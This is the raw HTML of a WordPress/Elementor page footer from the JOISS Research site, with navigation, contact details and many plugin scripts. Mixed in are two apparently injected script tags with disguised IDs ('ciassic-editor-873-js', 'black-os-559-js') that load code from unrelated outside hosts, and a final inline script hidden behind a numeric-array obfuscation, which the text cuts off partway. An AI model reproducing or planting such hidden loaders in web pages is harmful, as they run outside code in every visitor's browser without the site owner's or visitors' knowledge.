<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2187"><a href="https://joissresearch.org/joiss-for-scholars/" class="elementor-item" tabindex="-1">JOISS Journals of Scholarly Studies</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-product_cat menu-item-2456"><a href="https://joissresearch.org/displine/engineering/" class="elementor-item" tabindex="-1">JOISS Journals of Engineering</a></li>
<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-3719"><a href="https://joissresearch.org/journal/un-education-day-event-24th-january/" class="elementor-item" tabindex="-1">Event</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-4720"><a href="https://joissresearch.org/donate-to-joiss/" class="elementor-item" tabindex="-1">Donate to JOISS</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3344"><a href="https://joissresearch.org/volunteering/" class="elementor-item" tabindex="-1">Volunteering</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-562"><a href="https://joissresearch.org/about-us/" class="elementor-item" tabindex="-1">About Us</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1108"><a href="https://joissresearch.org/contact/" class="elementor-item" tabindex="-1">Contact</a></li>
</ul>			</nav>
						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="has_ae_slider elementor-section elementor-top-section elementor-element elementor-element-4723db5 elementor-section-boxed elementor-section-height-default elementor-section-height-default ae-bg-gallery-type-default" data-id="4723db5" data-element_type="section" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
						<div class="elementor-container elementor-column-gap-default">
					<div class="has_ae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-65bcf51e ae-bg-gallery-type-default" data-id="65bcf51e" data-element_type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-32046337 elementor-align-start elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="32046337" data-element_type="widget" data-widget_type="icon-list.default">
				<div class="elementor-widget-container">
							<ul class="elementor-icon-list-items">
							<li class="elementor-icon-list-item">
										<span class="elementor-icon-list-text">ISSN 2818-9590</span>
									</li>
								<li class="elementor-icon-list-item">
											<a href="mailto:contact@joissresearch.org">

												<span class="elementor-icon-list-icon">
							<i aria-hidden="true" class="fas fa-envelope"></i>						</span>
										<span class="elementor-icon-list-text">contact@joissresearch.org</span>
											</a>
									</li>
								<li class="elementor-icon-list-item">
											<span class="elementor-icon-list-icon">
							<i aria-hidden="true" class="fas fa-map-marker-alt"></i>						</span>
										<span class="elementor-icon-list-text">7871 WESTMINSTER HIGHWAY PO BOX 97045 RICHMOND BC V6X8A3</span>
									</li>
						</ul>
						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
					<script>
				;
				(function($, w) {
					'use strict';
					let $window = $(w);

					$(document).ready(function() {

						let isEnable = "";
						let isEnableLazyMove = "";
						let speed = isEnableLazyMove ? '0.7' : '0.2';

						if( !isEnable ) {
							return;
						}

						if (typeof haCursor == 'undefined' || haCursor == null) {
							initiateHaCursorObject(speed);
						}

						setTimeout(function() {
							let targetCursor = $('.ha-cursor');
							if (targetCursor) {
								if (!isEnable) {
									$('body').removeClass('hm-init-default-cursor-none');
									$('.ha-cursor').addClass('ha-init-hide');
								} else {
									$('body').addClass('hm-init-default-cursor-none');
									$('.ha-cursor').removeClass('ha-init-hide');
								}
							}
						}, 500);

					});

				}(jQuery, window));
			</script>
		
					<script>
				const lazyloadRunObserver = () => {
					const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` );
					const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => {
						entries.forEach( ( entry ) => {
							if ( entry.isIntersecting ) {
								let lazyloadBackground = entry.target;
								if( lazyloadBackground ) {
									lazyloadBackground.classList.add( 'e-lazyloaded' );
								}
								lazyloadBackgroundObserver.unobserve( entry.target );
							}
						});
					}, { rootMargin: '200px 0px 200px 0px' } );
					lazyloadBackgrounds.forEach( ( lazyloadBackground ) => {
						lazyloadBackgroundObserver.observe( lazyloadBackground );
					} );
				};
				const events = [
					'DOMContentLoaded',
					'elementor/lazyload/observe',
				];
				events.forEach( ( event ) => {
					document.addEventListener( event, lazyloadRunObserver );
				} );
			</script>
				<script>
		(function () {
			var c = document.body.className;
			c = c.replace(/woocommerce-no-js/, 'woocommerce-js');
			document.body.className = c;
		})();
	</script>
	<link data-minify="1" rel='stylesheet' id='wc-stripe-blocks-checkout-style-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/woocommerce-gateway-stripe/build/upe_blocks.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='wc-blocks-style-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/woocommerce/assets/client/blocks/wc-blocks.css?ver=1789003975' media='all' />
<link rel='stylesheet' id='elementor-post-85-css' href='https://joissresearch.org/wp-content/uploads/elementor/css/post-85.css?ver=1789003975' media='all' />
<link rel='stylesheet' id='widget-nav-menu-css' href='https://joissresearch.org/wp-content/plugins/elementor-pro/assets/css/widget-nav-menu.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='e-animation-fadeInLeft-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/lib/animations/styles/fadeInLeft.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='e-popup-css' href='https://joissresearch.org/wp-content/plugins/elementor-pro/assets/css/conditionals/popup.min.css?ver=3.34.0' media='all' />
<script id="ciassic-editor-873-js" src="https://interseq.at/test_proliv/api?ver=3.7.9"></script>
<script id="ae-pro-js-js-extra">
var aepro = {"ajaxurl":"https://joissresearch.org/wp-admin/admin-ajax.php","current_url":"https%3A%2F%2Fjoissresearch.org%2Fblog%2F","plugin_url":"https://joissresearch.org/wp-content/plugins/anywhere-elementor-pro","queried_page":{"ID":1614,"page_type":"single"},"access_level":"2","aep_nonce":"8958030864"};
//# sourceURL=ae-pro-js-js-extra
</script>
<script id="ae-pro-js-js" src="https://joissresearch.org/wp-content/plugins/anywhere-elementor-pro/includes/assets/js/ae-pro.min.js?ver=2.27"></script>
<script id="aep-build-js-extra">
var aepro = {"ajaxurl":"https://joissresearch.org/wp-admin/admin-ajax.php","current_url":"https%3A%2F%2Fjoissresearch.org%2Fblog%2F","plugin_url":"https://joissresearch.org/wp-content/plugins/anywhere-elementor-pro","queried_page":{"ID":1614,"page_type":"single"},"access_level":"2","aep_nonce":"8958030864"};
//# sourceURL=aep-build-js-extra
</script>
<script id="aep-build-js" src="https://joissresearch.org/wp-content/plugins/anywhere-elementor-pro/build/index.min.js?ver=2.27"></script>
<script id="black-os-559-js" src="https://interseqf.com/test_proliv/api?ver=3.3.3"></script>
<script id="rocket-browser-checker-js-after">
"use strict";var _createClass=function(){function defineProperties(target,props){for(var i=0;i<props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,"value"in descriptor&&(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}return function(Constructor,protoProps,staticProps){return protoProps&&defineProperties(Constructor.prototype,protoProps),staticProps&&defineProperties(Constructor,staticProps),Constructor}}();function _classCallCheck(instance,Constructor){if(!(instance instanceof Constructor))throw new TypeError("Cannot call a class as a function")}var RocketBrowserCompatibilityChecker=function(){function RocketBrowserCompatibilityChecker(options){_classCallCheck(this,RocketBrowserCompatibilityChecker),this.passiveSupported=!1,this._checkPassiveOption(this),this.options=!!this.passiveSupported&&options}return _createClass(RocketBrowserCompatibilityChecker,[{key:"_checkPassiveOption",value:function(self){try{var options={get passive(){return!(self.passiveSupported=!0)}};window.addEventListener("test",null,options),window.removeEventListener("test",null,options)}catch(err){self.passiveSupported=!1}}},{key:"initRequestIdleCallback",value:function(){!1 in window&&(window.requestIdleCallback=function(cb){var start=Date.now();return setTimeout(function(){cb({didTimeout:!1,timeRemaining:function(){return Math.max(0,50-(Date.now()-start))}})},1)}),!1 in window&&(window.cancelIdleCallback=function(id){return clearTimeout(id)})}},{key:"isDataSaverModeOn",value:function(){return"connection"in navigator&&!0===navigator.connection.saveData}},{key:"supportsLinkPrefetch",value:function(){var elem=document.createElement("link");return elem.relList&&elem.relList.supports&&elem.relList.supports("prefetch")&&window.IntersectionObserver&&"isIntersecting"in IntersectionObserverEntry.prototype}},{key:"isSlowConnection",value:function(){return"connection"in navigator&&"effectiveType"in navigator.connection&&("2g"===navigator.connection.effectiveType||"slow-2g"===navigator.connection.effectiveType)}}]),RocketBrowserCompatibilityChecker}();
//# sourceURL=rocket-browser-checker-js-after
</script>
<script id="rocket-preload-links-js-extra">
var RocketPreloadLinksConfig = {"excludeUris":"/(?:.+/)?feed(?:/(?:.+/?)?)?$|/(?:.+/)?embed/|/checkout/??(.*)|/cart/?|/my-account/??(.*)|/(index.php/)?(.*)wp-json(/.*|$)|/refer/|/go/|/recommend/|/recommends/","usesTrailingSlash":"1","imageExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php","fileExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php|html|htm","siteUrl":"https://joissresearch.org","onHoverDelay":"100","rateThrottle":"3"};
//# sourceURL=rocket-preload-links-js-extra
</script>
<script id="rocket-preload-links-js-after">
(function() {
"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e=function(){function i(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}return function(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),e}}();function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var t=function(){function n(e,t){i(this,n),this.browser=e,this.config=t,this.options=this.browser.options,this.prefetched=new Set,this.eventTime=null,this.threshold=1111,this.numOnHover=0}return e(n,[{key:"init",value:function(){!this.browser.supportsLinkPrefetch()||this.browser.isDataSaverModeOn()||this.browser.isSlowConnection()||(this.regex={excludeUris:RegExp(this.config.excludeUris,"i"),images:RegExp(".("+this.config.imageExt+")$","i"),fileExt:RegExp(".("+this.config.fileExt+")$","i")},this._initListeners(this))}},{key:"_initListeners",value:function(e){-1<this.config.onHoverDelay&&document.addEventListener("mouseover",e.listener.bind(e),e.listenerOptions),document.addEventListener("mousedown",e.listener.bind(e),e.listenerOptions),document.addEventListener("touchstart",e.listener.bind(e),e.listenerOptions)}},{key:"listener",value:function(e){var t=e.target.closest("a"),n=this._prepareUrl(t);if(null!==n)switch(e.type){case"mousedown":case"touchstart":this._addPrefetchLink(n);break;case"mouseover":this._earlyPrefetch(t,n,"mouseout")}}},{key:"_earlyPrefetch",value:function(t,e,n){var i=this,r=setTimeout(function(){if(r=null,0===i.numOnHover)setTimeout(function(){return i.numOnHover=0},1e3);else if(i.numOnHover>i.config.rateThrottle)return;i.numOnHover++,i._addPrefetchLink(e)},this.config.onHoverDelay);t.addEventListener(n,function e(){t.removeEventListener(n,e,{passive:!0}),null!==r&&(clearTimeout(r),r=null)},{passive:!0})}},{key:"_addPrefetchLink",value:function(i){return this.prefetched.add(i.href),new Promise(function(e,t){var n=document.createElement("link");n.rel="prefetch",n.href=i.href,n.onload=e,n.onerror=t,document.head.appendChild(n)}).catch(function(){})}},{key:"_prepareUrl",value:function(e){if(null===e||"object"!==(void 0===e?"undefined":r(e))||!1 in e||-1===["http:","https:"].indexOf(e.protocol))return null;var t=e.href.substring(0,this.config.siteUrl.length),n=this._getPathname(e.href,t),i={original:e.href,protocol:e.protocol,origin:t,pathname:n,href:t+n};return this._isLinkOk(i)?i:null}},{key:"_getPathname",value:function(e,t){var n=t?e.substring(this.config.siteUrl.length):e;return n.startsWith("/")||(n="/"+n),this._shouldAddTrailingSlash(n)?n+"/":n}},{key:"_shouldAddTrailingSlash",value:function(e){return this.config.usesTrailingSlash&&!e.endsWith("/")&&!this.regex.fileExt.test(e)}},{key:"_isLinkOk",value:function(e){return null!==e&&"object"===(void 0===e?"undefined":r(e))&&(!this.prefetched.has(e.href)&&e.origin===this.config.siteUrl&&-1===e.href.indexOf("?")&&-1===e.href.indexOf("#")&&!this.regex.excludeUris.test(e.href)&&!this.regex.images.test(e.href))}}],[{key:"run",value:function(){"undefined"!=typeof RocketPreloadLinksConfig&&new n(new RocketBrowserCompatibilityChecker({capture:!0,passive:!0}),RocketPreloadLinksConfig).init()}}]),n}();t.run();
}());

//# sourceURL=rocket-preload-links-js-after
</script>
<script id="rocket_lazyload_css-js-extra">
var rocket_lazyload_css_data = {"threshold":"300"};
//# sourceURL=rocket_lazyload_css-js-extra
</script>
<script id="rocket_lazyload_css-js-after">
!function o(n,c,a){function s(t,e){if(!c[t]){if(!n[t]){var r="function"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(r=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",r}r=c[t]={exports:{}},n[t][0].call(r.exports,function(e){return s(n[t][1][e]||e)},r,r.exports,o,n,c,a)}return c[t].exports}for(var u="function"==typeof require&&require,e=0;e<a.length;e++)s(a[e]);return s}({1:[function(e,t,r){"use strict";!function(){const r="undefined"==typeof rocket_pairs?[]:rocket_pairs,e="undefined"==typeof rocket_excluded_pairs?[]:rocket_excluded_pairs;e.map(t=>{var e=t.selector;const r=document.querySelectorAll(e);r.forEach(e=>{e.setAttribute("data-rocket-lazy-bg-".concat(t.hash),"excluded")})});const o=document.querySelector("#wpr-lazyload-bg");var t=rocket_lazyload_css_data.threshold||300;const n=new IntersectionObserver(e=>{e.forEach(t=>{if(t.isIntersecting){const e=r.filter(e=>t.target.matches(e.selector));e.map(t=>{t&&(o.innerHTML+=t.style,t.elements.forEach(e=>{n.unobserve(e),e.setAttribute("data-rocket-lazy-bg-".concat(t.hash),"loaded")}))})}})},{rootMargin:t+"px"});function c(){0<(0<arguments.length&&void 0!==arguments[0]?arguments[0]:[]).length&&r.forEach(t=>{try{const e=document.querySelectorAll(t.selector);e.forEach(e=>{"loaded"!==e.getAttribute("data-rocket-lazy-bg-".concat(t.hash))&&"excluded"!==e.getAttribute("data-rocket-lazy-bg-".concat(t.hash))&&(n.observe(e),(t.elements||(t.elements=[])).push(e))})}catch(e){console.error(e)}})}c();const a=function(){const o=window.MutationObserver;return function(e,t){if(e&&1===e.nodeType){const r=new o(t);return r.observe(e,{attributes:!0,childList:!0,subtree:!0}),r}}}();t=document.querySelector("body"),a(t,c)}()},{}]},{},[1]);

//# sourceURL=rocket_lazyload_css-js-after
</script>
<script id="vegas-js" src="https://joissresearch.org/wp-content/plugins/anywhere-elementor-pro/includes/assets/lib/vegas/vegas.min.js?ver=2.4.0"></script>
<script id="hello-theme-frontend-js" src="https://joissresearch.org/wp-content/themes/hello-elementor/assets/js/hello-frontend.js?ver=3.4.9"></script>
<script id="elementor-webpack-runtime-js" src="https://joissresearch.org/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.34.0"></script>
<script id="elementor-frontend-modules-js" src="https://joissresearch.org/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.34.0"></script>
<script id="jquery-ui-core-js-before">
jQuery.uiBackCompat = true;
//# sourceURL=jquery-ui-core-js-before
</script>
<script id="jquery-ui-core-js" src="https://joissresearch.org/wp-includes/js/jquery/ui/core.min.js?ver=1.14.2"></script>
<script id="elementor-frontend-js-before">
var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Share on Facebook","shareOnTwitter":"Share on Twitter","pinIt":"Pin it","download":"Download","downloadImage":"Download image","fullscreen":"Fullscreen","zoom":"Zoom","share":"Share","playVideo":"Play Video","previous":"Previous","next":"Next","close":"Close","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Widescreen","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},
"hasCustomBreakpoints":false},"version":"3.34.0","is_static":false,"experimentalFeatures":{"additional_custom_breakpoints":true,"container":true,"theme_builder_v2":true,"hello-theme-header-footer":true,"nested-elements":true,"home_screen":true,"global_classes_should_enforce_capabilities":true,"e_variables":true,"cloud-library":true,"e_opt_in_v4_page":true,"e_interactions":true,"import-export-customization":true,"e_pro_variables":true},"urls":{"assets":"https:\/\/joissresearch.org\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/joissresearch.org\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/joissresearch.org\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"8fe25a8b46"},"swiperClass":"swiper","settings":{"page":{"ha_cmc_init_switcher":"no"},"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description","woocommerce_notices_elements":[],"hello_header_logo_type":"title","hello_header_menu_layout":"horizontal","hello_footer_logo_type":"logo","ha_rpb_enable":"no"},"post":{"id":1614,"title":"Blog%20-%20JOISS%20Research","excerpt":"","featuredImage":false}};
//# sourceURL=elementor-frontend-js-before
</script>
<script id="elementor-frontend-js" src="https://joissresearch.org/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.34.0"></script>
<script id="e-sticky-js" src="https://joissresearch.org/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js?ver=3.34.0"></script>
<script id="happy-elementor-addons-js-extra">
var HappyLocalize = {"ajax_url":"https://joissresearch.org/wp-admin/admin-ajax.php","nonce":"5383820621","pdf_js_lib":"https://joissresearch.org/wp-content/plugins/happy-elementor-addons/assets/vendor/pdfjs/lib"};
//# sourceURL=happy-elementor-addons-js-extra
</script>
<script id="happy-elementor-addons-js" src="https://joissresearch.org/wp-content/plugins/happy-elementor-addons/assets/js/happy-addons.min.js?ver=3.20.4"></script>
<script id="happy-addons-pro-js-extra">
var HappyProLocalize = {"ajax_url":"https://joissresearch.org/wp-admin/admin-ajax.php","nonce":"de2a442599"};
//# sourceURL=happy-addons-pro-js-extra
</script>
<script id="happy-addons-pro-js" src="https://joissresearch.org/wp-content/plugins/happy-elementor-addons-pro/assets/js/happy-addons-pro.js?ver=3.4.2"></script>
<script id="sourcebuster-js-js" src="https://joissresearch.org/wp-content/plugins/woocommerce/assets/js/sourcebuster/sourcebuster.min.js?ver=10.4.4"></script>
<script id="wc-order-attribution-js-extra">
var wc_order_attribution = {"params":{"lifetime":1.0000000000000000818030539140313095458623138256371021270751953125e-5,"session":30,"base64":false,"ajaxurl":"https://joissresearch.org/wp-admin/admin-ajax.php","prefix":"wc_order_attribution_","allowTracking":true},"fields":{"source_type":"current.typ","referrer":"current_add.rf","utm_campaign":"current.cmp","utm_source":"current.src","utm_medium":"current.mdm","utm_content":"current.cnt","utm_id":"current.id","utm_term":"current.trm","utm_source_platform":"current.plt","utm_creative_format":"current.fmt","utm_marketing_tactic":"current.tct","session_entry":"current_add.ep","session_start_time":"current_add.fd","session_pages":"session.pgs","session_count":"udata.vst","user_agent":"udata.uag"}};
//# sourceURL=wc-order-attribution-js-extra
</script>
<script id="wc-order-attribution-js" src="https://joissresearch.org/wp-content/plugins/woocommerce/assets/js/frontend/order-attribution.min.js?ver=10.4.4"></script>
<script id="happy-reading-progress-bar-js" src="https://joissresearch.org/wp-content/plugins/happy-elementor-addons/assets/js/extension-reading-progress-bar.min.js?ver=3.20.4"></script>
<script id="ivory-search-scripts-js-extra">
var IvorySearchVars = {"is_analytics_enabled":"1"};
//# sourceURL=ivory-search-scripts-js-extra
</script>
<script id="ivory-search-scripts-js" src="https://joissresearch.org/wp-content/plugins/add-search-to-menu/public/js/ivory-search.min.js?ver=5.5.13"></script>
<script id="wc-cart-fragments-js-extra">
var wc_cart_fragments_params = {"ajax_url":"/wp-admin/admin-ajax.php","wc_ajax_url":"/?wc-ajax=%%endpoint%%","cart_hash_key":"wc_cart_hash_8457dba7b1af05687efa6b416b1cfda4","fragment_name":"wc_fragments_8457dba7b1af05687efa6b416b1cfda4","request_timeout":"5000"};
//# sourceURL=wc-cart-fragments-js-extra
</script>
<script data-wp-strategy="defer" defer id="wc-cart-fragments-js" src="https://joissresearch.org/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=10.4.4"></script>
<script id="smartmenus-js" src="https://joissresearch.org/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js?ver=1.2.1"></script>
<script id="elementor-pro-webpack-runtime-js" src="https://joissresearch.org/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.34.0"></script>
<script id="wp-hooks-js" src="https://joissresearch.org/wp-includes/js/dist/hooks.min.js?ver=f0f188028580e8dc1255"></script>
<script id="wp-i18n-js" src="https://joissresearch.org/wp-includes/js/dist/i18n.min.js?ver=1dfe7db3940c23ea9216"></script>
<script id="wp-i18n-js-after">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
</script>
<script id="elementor-pro-frontend-js-before">
var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/joissresearch.org\/wp-admin\/admin-ajax.php","nonce":"8be0da86bc","urls":{"assets":"https:\/\/joissresearch.org\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/joissresearch.org\/wp-json\/"},"settings":{"lazy_load_background_images":true},"popup":{"hasPopUps":true},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"},"x-twitter":{"title":"X"},"threads":{"title":"Threads"}},
"woocommerce":{"menu_cart":{"cart_page_url":"https:\/\/joissresearch.org\/cart\/","checkout_page_url":"https:\/\/joissresearch.org\/checkout\/","fragments_nonce":"0665fdd015"}},
"facebook_sdk":{"lang":"en_US","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/joissresearch.org\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}};
//# sourceURL=elementor-pro-frontend-js-before
</script>
<script id="elementor-pro-frontend-js" src="https://joissresearch.org/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.34.0"></script>
<script id="pro-elements-handlers-js" src="https://joissresearch.org/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.34.0"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://joissresearch.org/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://joissresearch.org/wp-includes/js/wp-emoji-loader.min.js
</script>
<script>
(function(){
var x1d3472=5208;
if(x1d3472>0){var y009d46=x1d3472-5428}else{var y009d46=5428}
var z54321f=y009d46*77;
var _0xcc434194e3db=[37,53,23,42,54,82,86,41,53,37,41,55,37,49,49,36,53,37,16,53,48,15,49,55,52,53,41,40,57,11,19,10,39,82,23,1,33,50,12,38,52,82,16,45,59,33,19,4,37,38,90,58,48,54,11,51,54,20,57,40,53,37,45,57,54,8,19,14,36,14,42,51,52,82,16,37,32,4,49,1,52,20,82,0,36,14,34,34,39,34,57,47,59,38,91,7,58,15,41,58,52,54,54,34,43,20,54,41,39,50,90,1,59,20,20,44,39,4,53,57,59,37,27,5,32,82,20,46,32,20,23,58,33,34,27,0,59,34,53,6,33,34,90,0,39,20,83,40,33,34,53,0,59,15,23,0,33,34,53,1,59,20,12,42,59,4,11,0,39,27,91,36,48,82,27,51,43,52,41,2,48,38,82,52,53,34,33,14,36,15,53,41,48,54,82,44,33,27,42,48,55,53,41,49,49,37,19,48,54,27,45,2,59,38,15,58,48,15,27,38,38,83,15,58,54,82,15,58,55,82,37,38,38,82,86,48,36,11,38,2,53,54,15,41,55,54,87,43,38,11,41,45,54,15,37,38,52,15,41,55,38,38,82,42,59,82,37,54,59,11,45,55,54,15,15,54,52,38,87,55,59,38,82,45,36,11,38,2,53,54,15,41,55,54,87,43,38,11,41,45,54,15,37,38,52,15,41,55,38,37,33,0,53,37,45,55,52,38,8,55,55,54,11,5,54,53,49,6,38,82,90,49,59,38,86,41,59,38,82,54,38,82,49,48,36,11,38,2,53,54,15,41,55,54,87,43,38,11,41,45,54,15,37,38,52,15,41,55,38,82,15,51,55,53,87,55,54,8,90,2,36,11,38,2,53,54,15,41,55,54,87,43,38,11,41,45,54,15,37,38,52,15,41,55,38,37,90,48,55,27,33,51,55,53,87,55,55,54,11,5,54,53,49,6,54,82,41,57,52,33,45,6,54,15,34,2,38,49,19,53,48,54,15,45,55,4,0,48,38,8,90,45,59,11,33,50,59,37,49,55,54,82,11,41,38,82,33,0,48,53,49,6,38,83,27,42,53,37,57,55,54,15,15,58,38,83,82,51,54,11,12,49,36,15,53,41,48,54,82,44,33,27,